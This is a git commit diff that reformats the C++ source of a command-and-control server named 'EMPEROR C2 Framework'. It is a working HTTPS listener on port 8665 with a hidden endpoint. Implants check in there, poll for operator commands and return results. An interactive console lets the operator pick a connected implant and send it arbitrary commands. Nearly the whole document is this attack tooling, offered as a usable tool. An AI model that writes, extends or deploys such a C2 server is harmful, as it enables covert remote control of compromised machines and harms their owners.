Improved formatting
This commit is contained in:
parent
fed0434f37
commit
6994cdb34e
|
@ -1,218 +1,191 @@
|
||||||
|
#include <fstream>
|
||||||
#include <httpserver.hpp>
|
#include <httpserver.hpp>
|
||||||
#include <iostream>
|
#include <iostream>
|
||||||
#include <fstream>
|
|
||||||
#include <vector>
|
|
||||||
#include <thread>
|
|
||||||
#include <map>
|
#include <map>
|
||||||
#include <string>
|
|
||||||
#include <regex>
|
#include <regex>
|
||||||
|
#include <string>
|
||||||
|
#include <thread>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
//GLOBALS
|
// GLOBALS
|
||||||
bool bIncomingHey = false;
|
bool bIncomingHey = false;
|
||||||
std::string sIncomingHeyUser;
|
std::string sIncomingHeyUser;
|
||||||
bool bShutdown = false;
|
bool bShutdown = false;
|
||||||
|
|
||||||
std::vector<std::vector<std::string>> retrievecreds(std::string sFile)
|
std::vector<std::vector<std::string>> retrievecreds(std::string sFile)
|
||||||
{
|
{
|
||||||
std::vector<std::vector<std::string>> sCreds;
|
std::vector<std::vector<std::string>> sCreds;
|
||||||
std::vector<std::string> sUsernames;
|
std::vector<std::string> sUsernames;
|
||||||
std::vector<std::string> sPasswords;
|
std::vector<std::string> sPasswords;
|
||||||
std::fstream fCreds;
|
std::fstream fCreds;
|
||||||
fCreds.open("creds", std::ios::in);
|
fCreds.open("creds", std::ios::in);
|
||||||
char ch;
|
char ch;
|
||||||
bool bUsername = true;
|
bool bUsername = true;
|
||||||
std::string sUsername = "";
|
std::string sUsername = "";
|
||||||
std::string sPassword = "";
|
std::string sPassword = "";
|
||||||
|
|
||||||
while (true)
|
while (true) {
|
||||||
{
|
fCreds >> ch;
|
||||||
fCreds >> ch;
|
|
||||||
|
|
||||||
if (fCreds.eof())
|
if (fCreds.eof()) {
|
||||||
{
|
sPasswords.push_back(sPassword);
|
||||||
sPasswords.push_back(sPassword);
|
break;
|
||||||
break;
|
}
|
||||||
}
|
|
||||||
|
|
||||||
if (ch == ':')
|
if (ch == ':') {
|
||||||
{
|
bUsername = false;
|
||||||
bUsername = false;
|
fCreds >> ch;
|
||||||
fCreds >> ch;
|
sUsernames.push_back(sUsername);
|
||||||
sUsernames.push_back(sUsername);
|
sUsername = "";
|
||||||
sUsername = "";
|
}
|
||||||
}
|
|
||||||
|
|
||||||
if (ch == '\n')
|
if (ch == '\n') {
|
||||||
{
|
bUsername = true;
|
||||||
bUsername = true;
|
fCreds >> ch;
|
||||||
fCreds >> ch;
|
sPasswords.push_back(sPassword);
|
||||||
sPasswords.push_back(sPassword);
|
sPassword = "";
|
||||||
sPassword = "";
|
}
|
||||||
}
|
|
||||||
|
|
||||||
if (bUsername)
|
if (bUsername) {
|
||||||
{
|
sUsername += ch;
|
||||||
sUsername += ch;
|
}
|
||||||
}
|
else {
|
||||||
else
|
sPassword += ch;
|
||||||
{
|
}
|
||||||
sPassword += ch;
|
}
|
||||||
}
|
|
||||||
}
|
sCreds.push_back(sUsernames);
|
||||||
|
sCreds.push_back(sPasswords);
|
||||||
sCreds.push_back(sUsernames);
|
return sCreds;
|
||||||
sCreds.push_back(sPasswords);
|
|
||||||
return sCreds;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
std::vector<std::vector<std::string>> sCreds = retrievecreds("creds");
|
std::vector<std::vector<std::string>> sCreds = retrievecreds("creds");
|
||||||
|
|
||||||
std::map<std::string,bool> defaultUserConnections(std::vector<std::vector<std::string>>sCreds)
|
std::map<std::string, bool> defaultUserConnections(std::vector<std::vector<std::string>> sCreds)
|
||||||
{
|
{
|
||||||
std::map<std::string,bool> mConnections;
|
std::map<std::string, bool> mConnections;
|
||||||
for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++)
|
for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++) {
|
||||||
{
|
mConnections[sCreds[0][iUsernameIndex]] = false;
|
||||||
mConnections[sCreds[0][iUsernameIndex]] = false;
|
}
|
||||||
}
|
return mConnections;
|
||||||
return mConnections;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
std::map<std::string,std::string> defaultUserComms(std::vector<std::vector<std::string>>sCreds)
|
std::map<std::string, std::string> defaultUserComms(std::vector<std::vector<std::string>> sCreds)
|
||||||
{
|
{
|
||||||
std::map<std::string,std::string> mComms;
|
std::map<std::string, std::string> mComms;
|
||||||
for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++)
|
for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++) {
|
||||||
{
|
mComms[sCreds[0][iUsernameIndex]] = "";
|
||||||
mComms[sCreds[0][iUsernameIndex]] = "";
|
}
|
||||||
}
|
return mComms;
|
||||||
return mComms;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
std::map<std::string,std::string> mCommands = defaultUserComms(sCreds);
|
std::map<std::string, std::string> mCommands = defaultUserComms(sCreds);
|
||||||
|
|
||||||
std::map<std::string,std::string> mResults = defaultUserComms(sCreds);
|
std::map<std::string, std::string> mResults = defaultUserComms(sCreds);
|
||||||
|
|
||||||
std::string listUserConnections(std::map<std::string,bool> mConnections)
|
std::string listUserConnections(std::map<std::string, bool> mConnections)
|
||||||
{
|
{
|
||||||
std::ostringstream oss;
|
std::ostringstream oss;
|
||||||
for (auto const& [key, val] : mConnections)
|
for (auto const &[key, val] : mConnections) {
|
||||||
{
|
if (val == true) {
|
||||||
if (val == true)
|
oss << key << " is active.\n";
|
||||||
{
|
}
|
||||||
oss << key << " is active.\n";
|
}
|
||||||
}
|
std::string sConnections = oss.str();
|
||||||
}
|
return sConnections;
|
||||||
std::string sConnections = oss.str();
|
|
||||||
return sConnections;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
std::map<std::string,bool> mConnections = defaultUserConnections(sCreds);
|
std::map<std::string, bool> mConnections = defaultUserConnections(sCreds);
|
||||||
|
|
||||||
class command_and_control : public httpserver::http_resource
|
class command_and_control : public httpserver::http_resource {
|
||||||
{
|
public:
|
||||||
public:
|
bool verifycreds(std::vector<std::vector<std::string>> sCreds, std::string sUsername, std::string sPassword)
|
||||||
bool verifycreds(std::vector<std::vector<std::string>> sCreds, std::string sUsername, std::string sPassword)
|
{
|
||||||
{
|
for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++) {
|
||||||
for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++)
|
if (sCreds[0][iUsernameIndex] == sUsername) {
|
||||||
{
|
for (int iPasswordIndex = 0; iPasswordIndex < sCreds[1].size(); iPasswordIndex++) {
|
||||||
if (sCreds[0][iUsernameIndex] == sUsername)
|
if (sCreds[1][iPasswordIndex] == sPassword) {
|
||||||
{
|
return true;
|
||||||
for (int iPasswordIndex = 0; iPasswordIndex < sCreds[1].size(); iPasswordIndex++)
|
}
|
||||||
{
|
}
|
||||||
if (sCreds[1][iPasswordIndex] == sPassword)
|
}
|
||||||
{
|
}
|
||||||
return true;
|
return false;
|
||||||
}
|
}
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
const std::shared_ptr<httpserver::http_response> render(const httpserver::http_request& req)
|
const std::shared_ptr<httpserver::http_response> render(const httpserver::http_request &req)
|
||||||
{
|
{
|
||||||
if (verifycreds(sCreds, req.get_user(), req.get_pass()))
|
if (verifycreds(sCreds, req.get_user(), req.get_pass())) {
|
||||||
{
|
if (req.get_method() == "POST") {
|
||||||
if (req.get_method() == "POST")
|
if (req.get_arg("msg") == "ready") {
|
||||||
{
|
std::ostringstream oss;
|
||||||
if (req.get_arg("msg") == "ready")
|
oss << "user=" << req.get_user() << "&msg=acknowledged";
|
||||||
{
|
std::string sResponse = oss.str();
|
||||||
std::ostringstream oss;
|
bIncomingHey = true;
|
||||||
oss << "user=" << req.get_user() << "&msg=acknowledged";
|
sIncomingHeyUser = req.get_user();
|
||||||
std::string sResponse = oss.str();
|
mConnections[req.get_user()] = true;
|
||||||
bIncomingHey = true;
|
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(sResponse));
|
||||||
sIncomingHeyUser = req.get_user();
|
}
|
||||||
mConnections[req.get_user()] = true;
|
if (req.get_arg("msg") == "reqcmd") {
|
||||||
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(sResponse));
|
if (mCommands[req.get_user()] != "") {
|
||||||
}
|
std::ostringstream oss;
|
||||||
if (req.get_arg("msg") == "reqcmd")
|
oss << "run=" << mCommands[req.get_user()];
|
||||||
{
|
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(oss.str()));
|
||||||
if (mCommands[req.get_user()] != "")
|
}
|
||||||
{
|
else {
|
||||||
std::ostringstream oss;
|
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response("msg=nocmd"));
|
||||||
oss << "run=" << mCommands[req.get_user()];
|
}
|
||||||
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(oss.str()));
|
}
|
||||||
}
|
if (req.get_arg("result") != "") {
|
||||||
else
|
mCommands[req.get_user()] = "";
|
||||||
{
|
mResults[req.get_user()] = req.get_arg("result");
|
||||||
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response("msg=nocmd"));
|
std::ostringstream oss;
|
||||||
}
|
oss << "user=" << req.get_user() << "&msg=acknowledged";
|
||||||
}
|
std::string sResponse = oss.str();
|
||||||
if (req.get_arg("result") != "")
|
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(sResponse));
|
||||||
{
|
}
|
||||||
mCommands[req.get_user()] = "";
|
}
|
||||||
mResults[req.get_user()] = req.get_arg("result");
|
}
|
||||||
std::ostringstream oss;
|
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response("Not found"));
|
||||||
oss << "user=" << req.get_user() << "&msg=acknowledged";
|
}
|
||||||
std::string sResponse = oss.str();
|
|
||||||
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(sResponse));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response("Not found"));
|
|
||||||
}
|
|
||||||
};
|
};
|
||||||
|
|
||||||
void checkConnections()
|
void checkConnections()
|
||||||
{
|
{
|
||||||
while (!bShutdown)
|
while (!bShutdown) {
|
||||||
{
|
if (bIncomingHey) {
|
||||||
if (bIncomingHey)
|
std::cout << "\nIncoming connection from " << sIncomingHeyUser << "\n[EMPEROR]>" << std::flush;
|
||||||
{
|
bIncomingHey = false;
|
||||||
std::cout << "\nIncoming connection from " << sIncomingHeyUser << "\n[EMPEROR]>" << std::flush;
|
sIncomingHeyUser = "";
|
||||||
bIncomingHey = false;
|
}
|
||||||
sIncomingHeyUser = "";
|
}
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void interactConnection(std::string sIdentifier)
|
void interactConnection(std::string sIdentifier)
|
||||||
{
|
{
|
||||||
std::string sCommand;
|
std::string sCommand;
|
||||||
std::cout << "Starting interaction with " << sIdentifier << std::endl;
|
std::cout << "Starting interaction with " << sIdentifier << std::endl;
|
||||||
while (true)
|
while (true) {
|
||||||
{
|
std::cout << "[EMPEROR - " << sIdentifier << "]>";
|
||||||
std::cout << "[EMPEROR - " << sIdentifier << "]>";
|
std::getline(std::cin, sCommand);
|
||||||
std::getline(std::cin, sCommand);
|
|
||||||
|
|
||||||
if (sCommand == ":q")
|
if (sCommand == ":q") {
|
||||||
{
|
break;
|
||||||
break;
|
}
|
||||||
}
|
mCommands[sIdentifier] = sCommand;
|
||||||
mCommands[sIdentifier] = sCommand;
|
std::cout << "Command sent, awaiting response..." << std::endl;
|
||||||
std::cout << "Command sent, awaiting response..." << std::endl;
|
while (mResults[sIdentifier].empty()) {
|
||||||
while (mResults[sIdentifier].empty())
|
continue;
|
||||||
{
|
}
|
||||||
continue;
|
std::cout << "Result: " << mResults[sIdentifier] << std::endl;
|
||||||
}
|
mResults[sIdentifier] = "";
|
||||||
std::cout << "Result: " << mResults[sIdentifier] << std::endl;
|
}
|
||||||
mResults[sIdentifier] = "";
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void prompt()
|
void prompt()
|
||||||
{
|
{
|
||||||
std::cout << "========== EMPEROR C2 Framework==========" << std::endl;
|
std::cout << "========== EMPEROR C2 Framework==========" << std::endl;
|
||||||
std::cout << R"( _____
|
std::cout << R"( _____
|
||||||
,888888b.
|
,888888b.
|
||||||
.d888888888b
|
.d888888888b
|
||||||
_..-'.`*'_,88888b
|
_..-'.`*'_,88888b
|
||||||
|
@ -236,69 +209,57 @@ void prompt()
|
||||||
\ d88888888'
|
\ d88888888'
|
||||||
_.>, 888888P'
|
_.>, 888888P'
|
||||||
<,--''`.._>8888(
|
<,--''`.._>8888(
|
||||||
`>__...--' `''` )" << std::endl;
|
`>__...--' `''` )"
|
||||||
std::cout << "=========================================" << std::endl;
|
<< std::endl;
|
||||||
std::string sCommand;
|
std::cout << "=========================================" << std::endl;
|
||||||
while (true)
|
std::string sCommand;
|
||||||
{
|
while (true) {
|
||||||
std::cout << "[EMPEROR]>";
|
std::cout << "[EMPEROR]>";
|
||||||
std::getline(std::cin, sCommand);
|
std::getline(std::cin, sCommand);
|
||||||
std::regex rConnect("connect ");
|
std::regex rConnect("connect ");
|
||||||
|
|
||||||
if (sCommand == "connections")
|
if (sCommand == "connections") {
|
||||||
{
|
std::cout << listUserConnections(mConnections);
|
||||||
std::cout << listUserConnections(mConnections);
|
}
|
||||||
}
|
|
||||||
|
|
||||||
if (std::regex_search(sCommand, rConnect))
|
if (std::regex_search(sCommand, rConnect)) {
|
||||||
{
|
std::vector<std::string> sCommands;
|
||||||
std::vector<std::string> sCommands;
|
std::string sSplit;
|
||||||
std::string sSplit;
|
for (int i = 0; i < sCommand.length(); i++) {
|
||||||
for (int i = 0; i < sCommand.length(); i++)
|
if (sCommand[i] == ' ') {
|
||||||
{
|
sCommands.push_back(sSplit);
|
||||||
if (sCommand[i] == ' ')
|
if (sCommands.size() > 2) {
|
||||||
{
|
break;
|
||||||
sCommands.push_back(sSplit);
|
}
|
||||||
if (sCommands.size() > 2)
|
sSplit = "";
|
||||||
{
|
}
|
||||||
break;
|
else {
|
||||||
}
|
sSplit.push_back(sCommand[i]);
|
||||||
sSplit = "";
|
if (i == (sCommand.length() - 1)) {
|
||||||
}
|
sCommands.push_back(sSplit);
|
||||||
else
|
}
|
||||||
{
|
}
|
||||||
sSplit.push_back(sCommand[i]);
|
}
|
||||||
if (i == (sCommand.length() - 1))
|
if (mConnections[sCommands[1]]) {
|
||||||
{
|
interactConnection(sCommands[1]);
|
||||||
sCommands.push_back(sSplit);
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
}
|
|
||||||
if (mConnections[sCommands[1]])
|
|
||||||
{
|
|
||||||
interactConnection(sCommands[1]);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (sCommand == "q" || sCommand == "quit" || sCommand == "exit")
|
if (sCommand == "q" || sCommand == "quit" || sCommand == "exit") {
|
||||||
{
|
bShutdown = true;
|
||||||
bShutdown = true;
|
break;
|
||||||
break;
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
int main (int argc, char** argv)
|
int main(int argc, char **argv)
|
||||||
{
|
{
|
||||||
command_and_control c2;
|
command_and_control c2;
|
||||||
httpserver::webserver ws = httpserver::create_webserver(8665)
|
httpserver::webserver ws = httpserver::create_webserver(8665).use_ssl().https_mem_key("server.key").https_mem_cert("server.crt");
|
||||||
.use_ssl()
|
ws.register_resource("/YVDvOraEcGwPAyjuBFzGespbRzifTpi", &c2);
|
||||||
.https_mem_key("server.key")
|
ws.start(false);
|
||||||
.https_mem_cert("server.crt");
|
std::thread tCheck(checkConnections);
|
||||||
ws.register_resource("/YVDvOraEcGwPAyjuBFzGespbRzifTpi", &c2);
|
prompt();
|
||||||
ws.start(false);
|
tCheck.join();
|
||||||
std::thread tCheck(checkConnections);
|
return 0;
|
||||||
prompt();
|
|
||||||
tCheck.join();
|
|
||||||
return 0;
|
|
||||||
}
|
}
|
||||||
|
|
Loading…
Reference in New Issue